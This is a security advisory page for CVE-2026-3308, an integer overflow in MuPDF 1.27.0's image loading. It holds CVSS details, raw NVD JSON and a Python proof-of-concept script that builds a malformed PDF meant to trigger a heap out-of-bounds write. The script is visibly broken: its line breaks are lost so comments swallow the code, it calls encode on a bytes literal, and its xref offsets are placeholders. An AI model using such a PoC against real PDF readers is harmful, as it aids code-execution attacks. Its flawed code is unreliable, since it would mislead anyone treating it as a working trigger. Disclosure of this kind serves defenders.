Security Vulnerability Report
中文
CVE-2026-3308 CVSS 7.8 HIGH

CVE-2026-3308

Published: 2026-03-31 14:16:13
Last Modified: 2026-04-21 10:16:30

Description

An integer overflow vulnerability in 'pdf-image.c' in Artifex's MuPDF version 1.27.0 allows an attacker to maliciously craft a PDF that can trigger an integer overflow within the 'pdf_load_image_imp' function. This allows a heap out-of-bounds write that could be exploited for arbitrary code execution.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Artifex MuPDF 1.27.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # Conceptual Proof of Concept for CVE-2026-3308 # This script generates a PDF structure designed to trigger the integer overflow # in the pdf_load_image_imp function within MuPDF 1.27.0. def create_poc_pdf(filename): header = b"%PDF-1.4\n" # Object 1: Catalog obj1 = b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n" # Object 2: Pages obj2 = b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n" # Object 3: Page obj3 = b"""3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R /Resources << /XObject << /Im0 5 0 R >> >> >> endobj """.encode() # Object 4: Content Stream obj4 = b"4 0 obj\n<< /Length 44 >>\nstream\nq 100 0 0 100 0 0 cm /Im0 Do Q\nendstream\nendobj\n" # Object 5: Image XObject (The trigger) # We set Width to a large value that causes an overflow when calculating buffer size # e.g. Width * Height * Components wraps around to a small number. width = 0x100000001 # Example large width obj5_header = f"""5 0 obj << /Type /XObject /Subtype /Image /Width {width} /Height 1 /BitsPerComponent 8 /ColorSpace /DeviceRGB /Length 0 >> stream """.encode() obj5_end = b"endstream\nendobj\n" # XRef (Simplified for demonstration, real offsets needed for valid PDF) xref = b"xref\n0 6\n0000000000 65535 f \n" trailer = b"trailer\n<< /Size 6 /Root 1 0 R >>\nstartxref\n0\n%%EOF" with open(filename, "wb") as f: f.write(header + obj1 + obj2 + obj3 + obj4 + obj5_header + obj5_end + xref + trailer) if __name__ == "__main__": print("[*] Generating PoC PDF for CVE-2026-3308...") create_poc_pdf("CVE-2026-3308_poc.pdf") print("[+] PoC PDF saved as CVE-2026-3308_poc.pdf")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3308", "sourceIdentifier": "[email protected]", "published": "2026-03-31T14:16:12.560", "lastModified": "2026-04-21T10:16:30.430", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An integer overflow vulnerability in 'pdf-image.c' in Artifex's MuPDF version 1.27.0 allows an attacker to maliciously craft a PDF that can trigger an integer overflow within the 'pdf_load_image_imp' function. This allows a heap out-of-bounds write that could be exploited for arbitrary code execution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "references": [{"url": "https://cgit.ghostscript.com/cgi-bin/cgit.cgi/mupdf.git/commit/?id=a26f0142e7d390d4a82c6e5ae0e312e07cc4ec85", "source": "[email protected]"}, {"url": "https://github.com/ArtifexSoftware/mupdf", "source": "[email protected]"}, {"url": "https://github.com/ArtifexSoftware/mupdf/commit/a26f0142e7d390d4a82c6e5ae0e312e07cc4ec85", "source": "[email protected]"}, {"url": "https://lists.debian.org/debian-lts-announce/2026/04/msg00020.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://www.kb.cert.org/vuls/id/951662", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}